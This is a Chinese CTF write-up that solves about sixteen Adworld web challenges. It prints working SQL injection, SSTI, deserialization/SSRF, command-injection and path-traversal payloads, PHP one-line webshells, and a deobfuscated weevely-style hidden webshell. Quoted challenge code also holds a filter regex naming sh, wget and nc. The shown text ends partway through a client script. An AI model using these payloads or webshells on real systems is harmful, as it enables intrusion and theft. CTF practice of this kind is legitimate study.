[toc]
菜鸡很菜,刷一点web题,这里记录一下攻防世界进阶区no.16到no.36一共21题的解题思路
0x01 easytonado
render:渲染
handler.settings
Tornado提供了一些对象别名来快速访问对象
0x02 shrine 看源码:
在config中
找到current_app
0x03 mfw
用GitHack(python2)
python GitHack.py http://220.249.52.134:45120/.git/
flag.php中啥也没有
看一下 index.php
没有过滤 assert 直接执行
payload:
?page=').system("ls");//
实际上是被挡住了
删了就能看到
看源码,看到flag.php
找到flag
0x04 fakebook
order by 4
没问题
order by 5
报错
拦截 了 select
盲注出 database 名字 : fakebook
union select
可以用 union++select
替代,也可以union/**/select
来绕过
爆出数据库名 :fakebook
爆出表名:users
爆出所有字段:
group_concat(column_name),3,4 from information_schema.columns where table_name='users'
dirsearch一下
看看robots.txt
看看user.php.bak
有一个get方法,里面直接curl了$this->blog
想到也许可以ssrf,即用file协议读服务器上的文件
随便join看看
报错了
这里有个方法,估计就是用来判断blog是否满足正则
分析一波
blog不能以file://开头了,那就得另想办法
随便注册一个
点开看看
有几个点,no可能是可以注入的
the contents of his/her blog
发现有个iframe
好奇如果blog是www.baidu.com会怎么样
即使是正常的url也没怎么样
这个src有点奇怪
查了一下,src=的东西可以有两个,一是 url ,二是DATA URI
Data URI的格式这样:
src="data:<MIME Type>;base64,<content>"
做个试验
现在就打开浏览器,访问str.php,预期是看到弹窗
果然可以
如果我写入一个图片行吗
行
那么就看懂了,这个iframe用的是Data URI,答应出来的内容用base64编码直接写在HTML中,但是上面看到的,base64,后面是空的,所以什么也没有。
重新注一下
发现几个要点
unserialize
回显的位置是2
view.php所在位置是 /var/www/html/
再看一眼所有字段
no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
看看每个字段有没有什么异端
no
username
passwd
看来是md5过的
data
有点东西
有两个对象的序列化
正好是这个UserInfo
推测unserialize
的内容就可能取自这里
USER
报错了
剩下两个也都报错
仔细看看,在contents部分,还有一个报错
可以猜测,每次select ,先从data中取一个序列,序列生成一个对象,对象调用了getBlogContents()方法,然后成为了contents的内容
正常情况下,no如果是存在的,那么一个no就对应了一个data,一个username,一个age,unserialize的内容,一般取自data,所以data无非是在1或者3或者4的位置被select了
复制过来试试看,看看底下有没有报错,就能确定哪个是data
'O:8:"UserInfo":3:{s:4:"name";s:5:"hello";s:3:"age";i:0;s:4:"blog";s:7:"a.a.abc";}'
3的位置报错
试试4的位置
对了,就是4的位置
现在,就要借助getBlogContents函数,来读取服务器中的文件了
用到file协议:file:///var/www/html/index.php
'O:8:"UserInfo":3:{s:4:"name";s:5:"hello";s:3:"age";i:0;s:4:"blog";s:30:"file:///var/www/html/index.php";}'
看看index.php
看看db.php
好像也没什么用
flag到底在哪里呢?
使用御剑,用php的字典来匹配
谁也没有想到,竟然有一个flag.php
文件,所以直接读
http://220.249.52.134:40925/view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"hello";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
0x05 Cat 127.0.0.1
可以 ,ping 通了
而且看到是php
开发的
www.baidu.com
不行,但是对应的ip 可以
尝试了一下,初步确定,url参数中只能有 [a-z0-9A-Z],其他符号尝试了一下,好像一概不行
一般网站,处理宽字节可能有问题,试试看
%80
不出所料,报错了
好好看看报错的信息
放到浏览器中看,是这样的
在view.py中看到ping函数,接收的是POST,可见当前页面是把url当做post的数据再传到127.0.0.1/api/ping
中
对于传入的url,先会 escape
,如果有 \\、\、"、$、'
中的一个,都会被加个 \\
最后得到的新 url 会被gbk 编码
而 如果 url 最后不满足这样的形式:
就会报错 Invalid URL
可以看到 允许有 - . /
看到数据库的信息
可以看到
报错信息尝试把post进去的内容打印出来
受此启发,能不能把服务器上的文件当做post的内容来传入,引起报错,然后看到文件内容
这时候,思考一下,php向127.0.0.1/api/ping
发出POST 请求的方式有哪些
curl
file_get_contents
fopen
fsockopen
而其中,能够POST文件的,有curl、file_get_contents
,但是,能仅仅通过控制url来控制传递的文件的,就只有 curl
了
也就是说,如果服务器的php用的culr来搞事情,那么就会很简单了
可以想象,php中差不多这样写的:
1 2 3 4 5 6 7 $ch = init_curl(); curl_setopt($ch,CURLOPT_URL,"127.0.0.1/api/ping" ); curl_setopt($ch,CURLOPT_POST,true ); $post_data=array ('url' =>$_GET['url' ]); curl_setopt($ch,CURLOPT_POSTFIELDS,$post_data); curl_exec($ch); ............
post data 中 /etc/passwd是个字符串,但是 @/etc/passwd 是个文件
而我们知道,/opt/api/database.sqlite3是个二进制文件,里面可能会有flag的信息
我们看一看
果然,报错了,看来二进制数据作为post_data 传到了 python
搜索一下flag、ctf
这样的关键字,最后找到了flag
是 WHCTF{yoooo_Such_A_G00D_@}
0x06 ics-05 dirsearch一下
1 其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
点开
看源码
有个page参数
打印出来了index ,打印了输入的东西
试一下宽字节
没报错,也没打印出东西
看到尝试加载一些东西
输入index.html
就把index.html打印出来了
page=index.php就返回个OK
可见,php调用了 include或者别的什么,使得能够包含文件
随便试试,php://input
没什么效果
试试看php://filter
可以用php://filter读文件的内容
但是但凡用到php://input就不管用了
可以看看index.php到底写了什么
把这些东西解码了
非常混乱
把其中的php整理出来看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting(0 ); @session_start(); posix_setuid(1000 ); ?> <?php $page = $_GET["page" ]; if (isset ($page)) { if (ctype_alnum($page)){ echo $page; die (); } else { if (strpos($page, 'input' ) > 0 ) { die (); } if (strpos($page, 'ta:text' ) > 0 ){ die (); } if (strpos($page, 'text' ) > 0 ) { die (); } if ($page === 'index.php' ){ die ('Ok' ); } include ($page); die (); } } if ($_SERVER['HTTP_X_FORWARDED_FOR' ] === '127.0.0.1' ) { echo "<br >Welcome My Admin ! <br >" ; $pattern = $_GET["pat" ]; $replacement = $_GET["rep" ]; $subject = $_GET["sub" ]; if (isset ($pattern) && isset ($replacement) && isset ($subject)){ preg_replace($pattern, $replacement, $subject); } else { die (); } } ?>
先考虑一下怎么好好使用前面这个 include
page里面,不能有input,不能有text,不能有ta:text
如果page里面只有数字和字母,那就直接打印
试试看用http://
好像也没啥用
试试看用data伪协议,也不能用
这时候再看看后面一个if,里面有一个 preg_replace,不知道这个漏洞能不能用
试试看
$_SERVER['HTTP_X_FORWARDED_FOR']
所指的header是X-Forwarded-For
寻找flag
看flag
0x07 favorite_number 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php $stuff = $_POST["stuff" ]; $array = ['admin' , 'user' ]; if ($stuff === $array && $stuff[0 ] != 'admin' ) { $num= $_POST["num" ]; if (preg_match("/^\d+$/im" ,$num)){ if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i" ,$num)){ echo "my favorite num is:" ; system("echo " .$num); }else { echo 'Bonjour!' ; } } } else { highlight_file(__FILE__ ); }
满足几个要点
$stuff === $array && $stuff[0] != 'admin'
即两个数组===,但是第一个元素!=
$_POST[“num”] 要满足 /^\d+$/im
即要有一行都是数字
$_POST[“num”] 不能满足 /sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i
不能有以上这些东西,而且对大小写不敏感
总之,有两个东西要控制,一个是stuff数组,一个是num
题目提示是 //php5.5.9
,就往这个方向搜漏洞
就搜到一个 integer key trunction
的
1 var_dump([0 => 0 ] === [0x100000000 => 0 ]);
所以
1 stuff[4294967296 ]=admin&stuff[1 ]=user&num=666
num,可以是随便一个数字
但是,num参与到了system函数中,所以就考虑num里面带命令
post_data用这个
1 stuff[4294967296 ]=admin&stuff[1 ]=user&num=666 %0 als
但是用burp抓包看看
发现多了个 %0d,即 \r
,这是windows下的hackbar 会把 %0a 转换成 %0d%0a
用culr就没问题
还是在burp里面整
看到flag
看看inode号码
1 stuff[4294967296 ]=admin&stuff[1 ]=user&num=123 %0 atac%20 `find%20 /%20 -inum%2021632381 `
得到flag
1 cyberpeace {eff4892c6365765ce301d2dad92334ef}
0x08 leaking 很显然是js写的
很可能是node开发的后端
有个data参数
随便输进去看看
1 res.send("eval ->" + vm.run(req.query.data));
看到会开个沙盒,把data参数当做命令执行
可以读取Buffer,flag这个变量正常都会在Buffer里面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requests as reqimport timeurl = "http://220.249.52.134:49864/?data=Buffer(5000)" t = '' while 'flag' not in t: r = req.get(url) t = r.text print(r.status_code) time.sleep(0.1 ) if 'flag' or "cyber" in t: print(t) with open("r.txt" ,"w" ,encoding='utf-8' ) as f: f.write(t) break
1 flag{4 nother_h34 rtbleed_in_n0 dejs}
0x09 lottery dirsearch一下发现有robots.txt,看一下,发现有/.git/
GitHack 一下
全部代码都得到了
代码审计一波
看看主干部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 if ($_SERVER["REQUEST_METHOD" ] != 'POST' || !isset ($_SERVER["CONTENT_TYPE" ]) || $_SERVER["CONTENT_TYPE" ] != 'application/json' ){ response_error('please post json data' ); } $data = json_decode(file_get_contents('php://input' ), true ); if (json_last_error() != JSON_ERROR_NONE){ response_error('invalid json' ); } require_keys($data, ['action' ]); switch ($data['action' ]) { case 'buy' : require_keys($data, ['numbers' ]); buy($data); break ; case 'flag' : flag($data); break ; case 'register' : require_keys($data, ['name' ]); register($data); break ; default : response_error('invalid request' ); break ; }
抓个包看看
1 {"action" :"buy" ,"numbers" :"1234567" }
传了个json,其中必须有action
,否则就会报错,然后根据action
调用函数
而当调用buy的时候,会把$data
作为参数传入,$data
是一个经过json_decode
处理后得到的一个Array
而$data中的每一个数字,在buy函数中回合 random_win_nums中的每一个数字进行比较
1 2 3 if ($numbers[$i] == $win_numbers[$i]){ $same_count++; }
但是采用的是弱相等
所以json里面的numbers都设为true就好了
然后,把flag买下来
1 cyberpeace{918e1839 e7 c 4975 b1 c 944 d5 c 2 f5 c 1 b02 }
0x0a FlatScience dirsearch一下
看看robots.txt
不让访问login.php和 admin.php
那我就去看看
login.php
源码里面看到这样一句话
试试看加个debug
吐出了一些源码
可以 user这里做注入
最后name的值会返回到cookie里面
1 1 '%20 unionselect(1 ),2 %23
原来是因为#没法处理为注释,那就换成 –
1 usr=0 '%20 union%20 select %20 'a'%20 ,"hello" --&pw=
查看所有表名
1 usr=0 '%20 union%20 select %201 ,tbl_name%20 from%20 sqlite_master%20 where%20 type ='table'--&pw=
1 usr=0 '%20 union%20 select %201 ,sql%20 from%20 sqlite_master%20 where%20 type ='table'--&pw=
看看sql
有个hint字段、password字段、id字段、name 字段
看看Users的字段
1 usr=0'union select 1 ,group_concat (name ||">" ||password ||">" ||hint)from Users
1 2 3 admin>3 fab54a50e770d830c0416df817567662a9dc85c>my fav word in my fav paper?!, fritze>54 eae8935c90f467427f05e4ece82cf569f89507>my love is …?, hansi>34 b0bb7c304949f9ff2fc101eef0f048be10d3bd>the password is password;
好像啥也没有,有个提示,说 my fav word in my fav paper
难道说密码就是作者最爱的文章中最爱的那个字???
而这个password,是 sha1($pass."Salz!")
的结果
要找到 $pass ,即admin 的密码
又尝试了一下,没办法堆叠注入,所以就不能写shell了
那就只好看看这么多paper,里面估计就有admin的密码了
可以遍历 paper 当中的每一个word,加密后判断是不是3fab54a50e770d830c0416df817567662a9dc85c
写个脚本,对于每一个页面,将其中的pdf下载下来,进行尝试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pdfminer.pdfparser import PDFParserfrom pdfminer.pdfdocument import PDFDocumentfrom pdfminer.pdfpage import PDFPage,PDFTextExtractionNotAllowedfrom pdfminer.pdfinterp import PDFResourceManager,PDFPageInterpreterfrom io import StringIOfrom pdfminer.converter import TextConverterfrom pdfminer.layout import LAParamsimport osimport hashlibdef extract_pdf (file_name) : with open(file_name,"rb" ) as f: document = PDFDocument(PDFParser(f)) if not document.is_extractable: raise PDFTextExtractionNotAllowed else : manager = PDFResourceManager() io = StringIO() converter = TextConverter(rsrcmgr=manager,outfp=io,laparams=LAParams()) interpreter = PDFPageInterpreter(rsrcmgr=manager,device=converter) with open(file_name,"rb" ) as f: for page in PDFPage.get_pages(fp=f,pagenos=set()): interpreter.process_page(page=page) text = io.getvalue() converter.close() io.close() return text import requestsimport reos.system("rm -rf pdf" ) os.mkdir("pdf" ) session = requests.session() url = "http://111.200.241.244:34245/1/2/5/" resp = session.get(url) html = resp.text pattern = re.compile('"[0-9a-z]+\.pdf"' ) pdfs = re.findall(pattern,html) for p in pdfs: p = p.strip('\"' ) u = url+p with open("./pdf/" +p,"wb" ) as f: resp = session.get(u) f.write(resp.content) pdfs = os.listdir("./pdf" ) salt = "Salz!" pdfs = [p for p in pdfs if p.endswith("pdf" )] for pdf in pdfs: print("processing>>>" ,pdf) text = extract_pdf("./pdf/" +pdf).split(" " ) for word in text: a = word+salt a = a.encode("utf-8" ) passwd = hashlib.sha1(a).hexdigest() if passwd == "3fab54a50e770d830c0416df817567662a9dc85c" : print("This is password >>>> " ,word)
这就是密码
登录就得到flag
1 flag {Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh ?}
0x0b bug
要login in
试试看admin
果然错了
注册个试试看
试试看admin
admin已经存在了
那思路就很直接了,到时候登录admin的账号看看
先随便注册一个看看
成功注册
去登录看看,且每一步都抓包看看有没有情况
login试一下
进入
点了下Manage
里面有个md5值,估计是用来表示我的身份的
被看出来不是admin
说明只有admin才可以访问这个Manage
其他的也都点点看
这些操作都要用到user来与自己的身份对应
有个findwd
点点看
更改自己的passwd
而到了真正要改的时候
竟然是用的username,而且还没有那个md5值来捣乱
那我直接改成admin
reset 成功
接下来admin登录就行
登进去,点了下manage
那我直接把判定ip的东西给改了,改成127.0.0.1,也就是把X-Forwarded-For 给改了
改了,成了
但是没有flag
看一看源码
试试
不是download
难道是upload
是的
提示Just image
要小心了
传个马
看出php了
是怎么看出php的呢?
可能是根据后缀判断,也可能是根据内容判断
随便传个session.log
还会报错,说不是个image
那怎么判断image呢,无非是根据后缀,或者content-type
改成.php4,content-type改成image/jpeg,试试看
还是看出了是php,看来就是根据文件的内容来判断是php了
改成这样,上传.php4
,content-type改成:image/jpeg
1 2 3 <script language="php" > eval ($_GET['kkk' ]); </script>
得到flag
1 cyberpeace{5 c 9090 c 768 b9 b619 c 14 b2 de214e5 fa33 }
0x0c ics-07
看看项目管理页面
看源码
没什么
看看view-source.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php session_start(); if (!isset ($_GET["page" ])) { show_source(__FILE__ ); die (); } if (isset ($_GET["page" ]) && $_GET["page" ] != 'index.php' ) { include ('flag.php' ); }else { header('Location: ?page=flag.php' ); } ?> <?php if ($_SESSION['admin' ]) { $con = $_POST['con' ]; $file = $_POST['file' ]; $filename = "backup/" .$file; if (preg_match('/.+\.ph(p[3457]?|t|tml)$/i' , $filename)){ die ("Bad file extension" ); }else { chdir('uploaded' ); $f = fopen($filename, 'w' ); fwrite($f, $con); fclose($f); } } ?> <?php if (isset ($_GET["id" ]) && floatval($_GET["id" ]) !== '1' && substr($_GET["id" ], -1 ) === '9' ) { include 'config.php' ; $id = mysql_real_escape_string($_GET["id" ]); $sql="select * from cetc007.user where id='$id'" ; $result = mysql_query($sql); $result = mysql_fetch_object($result); } else { $result = False ; die (); } if (!$result)die ("<br >something wae wrong ! <br>" ); if ($result){ echo "id: " .$result->id."</br>" ; echo "name:" .$result->user."</br>" ; $_SESSION['admin' ] = True ; } ?>
随便输了个
发现项目名称就是page,项目ID就是id
1 ?page=aaaa&id=1 %DF%27 or+1 =1 %239
尝试一下,宽字节注入
顺利执行了
因此$_SESSION['admin'] = True;
也被执行了
那现在就可以上传文件了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php if ($_SESSION['admin' ]) { $con = $_POST['con' ]; $file = $_POST['file' ]; $filename = "backup/" .$file; if (preg_match('/.+\.ph(p[3457]?|t|tml)$/i' , $filename)){ die ("Bad file extension" ); }else { chdir('uploaded' ); $f = fopen($filename, 'w' ); fwrite($f, $con); fclose($f); } } ?>
分析一下
post传入两个东西,cont和file,最后会生成一个文件,backup/file,然后cont会写进去
但是file要对付一个正则
1 /. +\.ph (p[3457]?|t|tml) $/i
上传一个test.txt
成功了
接下来要绕过 正则
文件名起作 file=test.php/.
生效了,确实可以,打印了1
那接下来写一句话木马
可以了
接下来就为所欲为了
得到flag
1 cyberpeace {a6afd53cafa0f9b8eb5a4bf1e89aa5c7}
0x0d unfinish dirsearch一下
估计又是文件上传
看一下register.php
那就注册一个看看
1 2 3 hello@hello .com hello hello
登录之后
就返回个这个
注册的用户名被打印了出来
再注册一个
1 2 3 hello@hello.com admin admin
用不会报错,成功跳转到了login.php
但是登录的时候,密码还是原来的hello,用admin当密码会报错,用户名或密码错误
抓包,然后猜测一下后端代码
1 2 3 4 5 6 $email = $_POST["email" ]; $password = $_POST["password" ]; $username = $_POST["username" ]; $sql = "INSERT table_1 (email,password,username) values ('$email','$password','$username')" ; $result = mysql_query($conn,$sql);
1 2 3 4 5 6 7 8 $email = $_POST["email" ]; $password = $_POST["password" ]; $sql = "SELECT username from table_1 where email = '$email' and password = '$password'" ; $result = mysql_query($conn,$sql); $row = mysql_fetch_row($result); $username = $row["user-name" ];
尝试在insert部分,使用报错注入
1 2 3 yes @yes.com' AND updatexml(1,concat(0x7e,(select user()),0x7e),1) AND ' yes
结果发现有拦截
注册一个
1 2 3 no @no.com' or 1 or ' no
理想状态是登录后,看到username是1
没问题
所以可以控制username,让
再注册一个
1 2 3 wrong@wrong .com 'or 1 haha' wrong
这个sql语句是错误的,所以估计不会创建账号
果然,当语句有错的时候,并不会跳转,而是依然在 register.php 当中
又经过尝试
发现被拦截的实际上是 逗号 ,
1 2 3 try @try .com'or (select database() regexp ' ^shit.*') or' try
理想情况是username 为 0
果然如此
1 2 3 try 1 @try1 .com'or (select database() regexp ' .*') or' try 1
这次理想状态是username 为1
没有问题
为了得到table name
尝试一下每个可能的表
1 2 3 4 5 6 7 mysql.innodb_table_stats 没这个表 mysql.innodb_index_stats 没这个表 sys.schema_table_statistics 没有这个表 sys.schema_index_statistics 没有这个表 sys.x$schema_flattened_key 没有这个表 sys.x$schema_index_statistics 没这个表 sys.io_global_by_file_by_bytes 没这个表
经过尝试,最后发现,有flag这个表,而且这个表的字段数量为1
写python脚本,把得到的值hex两次,然后和前后 加起来,再每十个十个地取出来,因为当一个大于10位的数字参与算数运算,会自动回显科学计数法格式的结果
1 2 want = "select * from flag" data = {"email" :"yes9@yes.com" ,"username" :"0'+(select substr(hex(hex((" +want+"))) from 1 for 10))+'0" ,"password" :"yes" }
1 ("3636364336" +"3136373742" +"3332333433" +"3933343635" +"3334363236" +"3633303336" +"3337333333" +"3436333333" +"3339363236" +"3533323635" +"3331333633" +"3233363636" +"3337333533" +"3736323631" +"3334363337" +"44" ).decode("hex" ).decode("hex" )
最后得到flag
1 flag{2494e4 bf06734 c 39 be2e1626 f757 ba4 c }
0x0e Confusion1 查看源码,得到提示
报错信息
然后就没什么思路了
有一张名为pythonvsph的图片
难道说这个web同时用到php和python进行开发
试试看,模板注入
还真的可以
1 {% for s in ().__class__ .__mro__ [1 ].__subclasses__ () %}{% if '__builtins__ ' in s.__init__ .__globals__ %}{{ s.__init__ .__globals__ ['__builtins__' ]['eval' ]("__import__ ('os').popen('ls /').read()")}}<hr > {% endif %}{% endfor %}
被拦截
1 {{().__class__.__mro__[1 ].__subclasses__() }}
又被拦截,拦截了class
不确定是不是python2
试试看
1 http://111.200.241.244:49407/{{ ()[request.args.c ][request.args.b ][1 ][request.args.a ]()[40 ]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt" )[request.args.r ]( )}}?c=__class__ &b=__mro__ &a=__subclasses__ &r=readlines
得到flag
1 cyberpeace{e31f8a9d46594485ffb2dee7a823e5f9 }
0x0f i-got-id-200 竟然是用 perl 写的
forms.pl 是个form
会把输入的东西打印出来
甚至可以进行 xss
file.pl是上传文件
perl 的文件上传
而且文件的内容会打印出来
这题用到了cgi,调用perl脚本的运行
要考虑一下 perl 是怎么处理上传的文件的
一般会类似这样
1 2 3 4 5 my $c = CGI->new;$file = $c->param("file" ); while (<$file>){ print "$_" ; }
因而可以使用特殊的文件句柄 ARGV
1 2 3 4 5 6 7 8 9 10 11 12 13 14 /cgi-bin/file .pl?/flag Content-Disposition: form-data; name ="file" Content-Type: application /octet-stream ARGV Content-Disposition: form-data; name ="file" ; filename="geach.php" Content-Type: application /octet-stream <?php eval($_GET['kkk']); ?>
1 cyberpeace{87885 ab3b2335e7073e782dca39875a3 }
0x10 Web_php_wrong_nginx_config
登录,却被告知网站建设中
抓个包看看
把isLogin改了,就能看到有用的东西了
扫一下,发现robots.txt
有两个php
访问hint.php
1 /etc/ nginx/sites-enabled/ site.conf
访问一下Hack.php
却要登录,但是已知是没法登录的,只能改一下 isLogin
然后,从 Hack.php点击管理中心,isLogin=1
最后会跳转出来两个参数 file=index&ext=php
然后可以看到,admin/index.php就被包含到文件里面了
可是当想要包含 ../index.php 的时候
返回的还是 admin/index.php
尝试 ../robots.txt的时候,就没有返回的内容了
尝试了一下
应该是过滤了 ../ ,将 ../ 替换为 空
应该是用来防止轻易地访问 /etc下的那个conf文件
但是可以双写绕过
成功包含conf
1 ?file=....// ....// ....// ....// etc/nginx/ sites-enabled/site.conf&ext=
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 server { listen 8080; ## listen for ipv4; this line is default and implied listen [::]:8080; ## listen for ipv6 root /var /www/html; index index.php index.html index.htm; port_in_redirect off; server_name _; # Make site accessible from http: #server_name localhost; # If block for setting the time for the logfile if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})" ) { set $year $1 ; set $month $2 ; set $day $3 ; } # Disable sendfile as per https: sendfile off; set $http_x_forwarded_for_filt $http_x_forwarded_for ; if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) { set $http_x_forwarded_for_filt $1 ???; } # Add stdout logging access_log /var /log /nginx/$hostname -access-$year -$month -$day .log openshift_log; error_log /var /log /nginx/error .log info; location / { # First attempt to serve request as file , then # as directory, then fall back to index.html try_files $uri $uri / /index.php?q=$uri &$args ; server_tokens off; } #error_page 404 /404.html; # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } location ~ \.php$ { try_files $uri $uri / /index.php?q=$uri &$args ; fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_pass unix:/var /run /php/php5.6-fpm.sock; fastcgi_param SCRIPT_FILENAME $document_root $fastcgi_script_name ; fastcgi_param SCRIPT_NAME $fastcgi_script_name ; fastcgi_index index.php; include fastcgi_params; fastcgi_param REMOTE_ADDR $http_x_forwarded_for ; } location ~ /\. { log_not_found off; deny all; } location /web-img { alias /images/; autoindex on ; } location ~* \.(ini|docx|pcapng|doc)$ { deny all; } include /var /www/nginx[.]conf ; }
可见有一个 /web-img可以访问,并且如果访问 web-img/,就会列举 这个目录下所有的文件
看看alias的用法
alias 后面是文件系统中的path,所以访问web-img/ 相当于 ls /images//,而访问 web-img../ 相当于ls /images/../
但是访问 html目录是不行的,因为底下就有index.php,flag可能就在这个目录下,只是文件的名字应该很奇怪
最终找到一个备份文件,是hack.php的备份文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php $U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle' ; $q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui' ; $M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$' ; $z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r' ; $k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s' ; $o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r' ; $N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/' ; $C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}' ; $j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<' ; $R=str_replace('rO' ,'' ,'rOcreatrOe_rOrOfurOncrOtion' ); $J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$' ; $x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(' ; $f=str_replace('|U' ,'' ,$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C); $g=create_function('' ,$f); $g(); ?>
得到 $f ,经过处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <?php $kh="42f7" ; $kf="e9ac" ; function x ($t,$k) { $c=strlen($k); $l=strlen($t); $o="" ; for ($i=0 ;$i<$l;){ for ($j=0 ;($j<$c&&$i<$l);$j++,$i++){ $o.=$t{$i}^$k{$j}; } } return $o; } $r=$_SERVER; $rr=@$r["HTTP_REFERER" ]; $ra=@$r["HTTP_ACCEPT_LANGUAGE" ]; if ($rr&&$ra){ $u=parse_url($rr); parse_str($u["query" ],$q); $q=array_values($q); preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/" ,$ra,$m); if ($q&&$m){ @session_start(); $s=&$_SESSION; $ss="substr" ; $sl="strtolower" ; $i=$m[1 ][0 ].$m[1 ][1 ]; $h=$sl($ss(md5($i.$kh),0 ,3 )); $f=$sl($ss(md5($i.$kf),0 ,3 )); $p="" ; for ($z=1 ;$z<count($m[1 ]);$z++) $p.=$q[$m[2 ][$z]]; if (strpos($p,$h)===0 ){$s[$i]="" ; $p=$ss($p,3 ); } if (array_key_exists($i,$s)){ $s[$i].=$p; $e=strpos($s[$i],$f); if ($e){ $k=$kh.$kf; ob_start(); @eval ( @gzuncompress( @x( @base64_decode( preg_replace(array ("/_/" ,"/-/" ),array ("/" ,"+" ),$ss($s[$i],0 ,$e)) ),$k ) ) ); $o=ob_get_contents(); ob_end_clean(); $d=base64_encode(x(gzcompress($o),$k)); print ("<$k>$d</$k>" ); @session_destroy(); } } } } ?>
这是个类似于weevely 生成的隐藏的webshell
利用base64编码和一些操作字符串的函数,达到隐藏webshell的效果
先在要做的,就是执行那个webshell,即 hack.php
最后在网上找到了一个对应的脚本,针对referrer 和 accept language ,进行操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 from random import randint,choicefrom hashlib import md5import urllibimport stringimport zlibimport base64import requestsimport redef choicePart (seq,amount) : length = len(seq) if length == 0 or length < amount: print 'Error Input' return None result = [] indexes = [] count = 0 while count < amount: i = randint(0 ,length-1 ) if not i in indexes: indexes.append(i) result.append(seq[i]) count += 1 if count == amount: return result def randBytesFlow (amount) : result = '' for i in xrange(amount): result += chr(randint(0 ,255 )) return result def randAlpha (amount) : result = '' for i in xrange(amount): result += choice(string.ascii_letters) return result def loopXor (text,key) : result = '' lenKey = len(key) lenTxt = len(text) iTxt = 0 while iTxt < lenTxt: iKey = 0 while iTxt<lenTxt and iKey<lenKey: result += 